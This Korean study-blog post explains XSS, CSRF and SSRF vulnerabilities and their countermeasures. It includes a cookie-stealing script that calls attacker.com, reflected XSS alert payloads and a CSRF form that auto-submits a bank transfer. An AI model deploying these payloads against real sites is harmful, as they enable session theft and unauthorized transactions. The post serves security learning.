XSS
사용자에 대한 입력값 검증이 미흡할 때 발생하는 취약점
이를 통해 공격자는 악성 코드를 삽입해 사용자 쿠키·세션 값 탈취, 키보드 입력값 탈취(키로거), 피싱 사이트로 유도 등 공격 가능
종류
- Stored : 악성 스크립트가 서버에 저장되고(게시판, 댓글 입력란 등 저장되는 곳에 악성스크립트를 입력) 서버 응답에 담겨오는 XSS
- Reflected : 악성 스크립트가 URL에 삽입되고 서버 응답에 담겨오는 XSS
- URL 인코딩은 입력값을 서버에 안전하게 전달하기 위한 방법이나, 서버에서 인코딩 된 값을 디코딩 후 검증 없이 응답에 출력한다면 XSS 공격이 그대로 실행될 수 있다.
- Dom-based : 악성 스크립트가 URL Fragment에 삽입되는 XSS
→ Fragment는 서버 요청/응답에 포함되지 않음
//Stored
<script>
// 쿠키 탈취용 예시
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
<!-- Reflected -->
https://vulnerable.com/?q=<script>alert('XSS')</script>
https://site.com/?q=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
보안 대책
- 입력값 필터링 : 스크립트에 사용되는 특수문자는 HTML Entity로 치환
- WhiteList 필터링 : 게시판과 같이 HTML 태그 사용이 필요한 경우 사용할 태그를 지정하여서 해당 태그만 허용
- 라이브러리 이용 : XSS 필터 관련 외부 라이브러리를 활용
더보기
[점검 tip]
XSS는 입력값이 출력에 쓰일때 취약점 발생
→ ex) 100개의 입력 받는 부분이 있으면 어떻게?
→ 샘플 입력값들을 넣어서 출력되는 곳만 점검
CSRF
공격자가 타 사용자의 권한을 이용해 자신이 의도한 동작을 서버에 요청하게끔 유도하는 취약점
서버가 사용자 요청에 대한 적절한 검증 절차를 갖추지 않았을 때, 정상적인 요청과 조작된 요청을 구분하지 못하여 발생
공격당한 사용자의 권한을 그대로 사용 → 피해자의 권한 수준에 따라 피해 범위가 달라짐
[공격 예시]
- 피해자는 해당 은행 사이트에 미리 로그인해 세션 쿠키(인증 정보)를 가지고 있는 상태
- 공격자가 악성 코드를 게시판, 댓글 등에 삽입
- 피해자가 악성 코드가 삽입되어있는 글을 읽음 → 자바스크립트가 작동
- 피해자의 세션 쿠기가 이미 존재하므로 bank는 정상적인 사용자의 요청으로 인증 → 공격자에게 송금
<!-- 사용자가 로그인한 상태에서 악성 사이트가 실행 -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000000">
<input type="submit">
</form>
<script>
document.forms[0].submit(); // 자동 송금
</script>
보안 대책
- 미흡
- XSS 필터링 : 조작된 요청 생성에 사용되는 특수문자 필터링
→ 필터링 규칙이 미흡하거나, 외부 사이트에서 실행되어 요청 전송 가능 - GET / POST 구분 : GET 메서드를 활용한 URL 공격을 못하도록 POST 메서드를 사용한 요청만 허용
→ POST 요청을 보내는 스크립트로 우회 가능
- XSS 필터링 : 조작된 요청 생성에 사용되는 특수문자 필터링
- 일부 미흡
- 사용자 요청 검증 : Submit Button 등을 이용하여 정상 사용자가 보내는 요청인지 검증
→ 공격자가 검증 값을 포함한 요청을 보내 우회 가능 - 보안 토큰 사용 : 중요 기능 동작시 랜덤으로 발행되는 보안 토큰을 통해 일치 여부에 따라 작동
→ 토큰 발급 페이지 접근이 가능하다면 우회 가능
- 사용자 요청 검증 : Submit Button 등을 이용하여 정상 사용자가 보내는 요청인지 검증
- 양호
- 추가 인증 : 중요 기능에 대해 2, 3차 추가 인증 → 사용자 편의성이 떨어짐
SSRF
공격자가 서버 내부에서 이루어지는 외부 요청을 조작해, 서버의 권한으로 악의적인 요청을 전송할 수 있는 취약점
외부에서 직접 접근이 불가한 내부 서버 및 시스템에 접근할 수 있으며, 내부 네트워크 내에서 악의적인 행위 수행
보안 대책
- WhiteList 필터링 : 사용자 입력값에 대한 요청을 허용할 List를 작성하여 필터링
- BlackList 필터링 : 사용자 입력값에 대해 허용하지 않는 List를 작성하여 필터링 (차단할 문자열 외에는 모두 허용)
→ Short URL 기능을 이용한 우회, Redirect 기능을 이용한 우회 가능
'Study > Web Hacking' 카테고리의 다른 글
| [Web] Command Injection과 대응법 (0) | 2025.10.13 |
|---|---|
| [Web] 파일 취약점 (0) | 2025.10.12 |
| [Web] 쿠키? 세션? 토큰? (0) | 2025.10.09 |
| [Web] Full TTY (완전한 터미널 환경) (0) | 2025.10.06 |
| [Web] Same Origin Policy (0) | 2025.09.29 |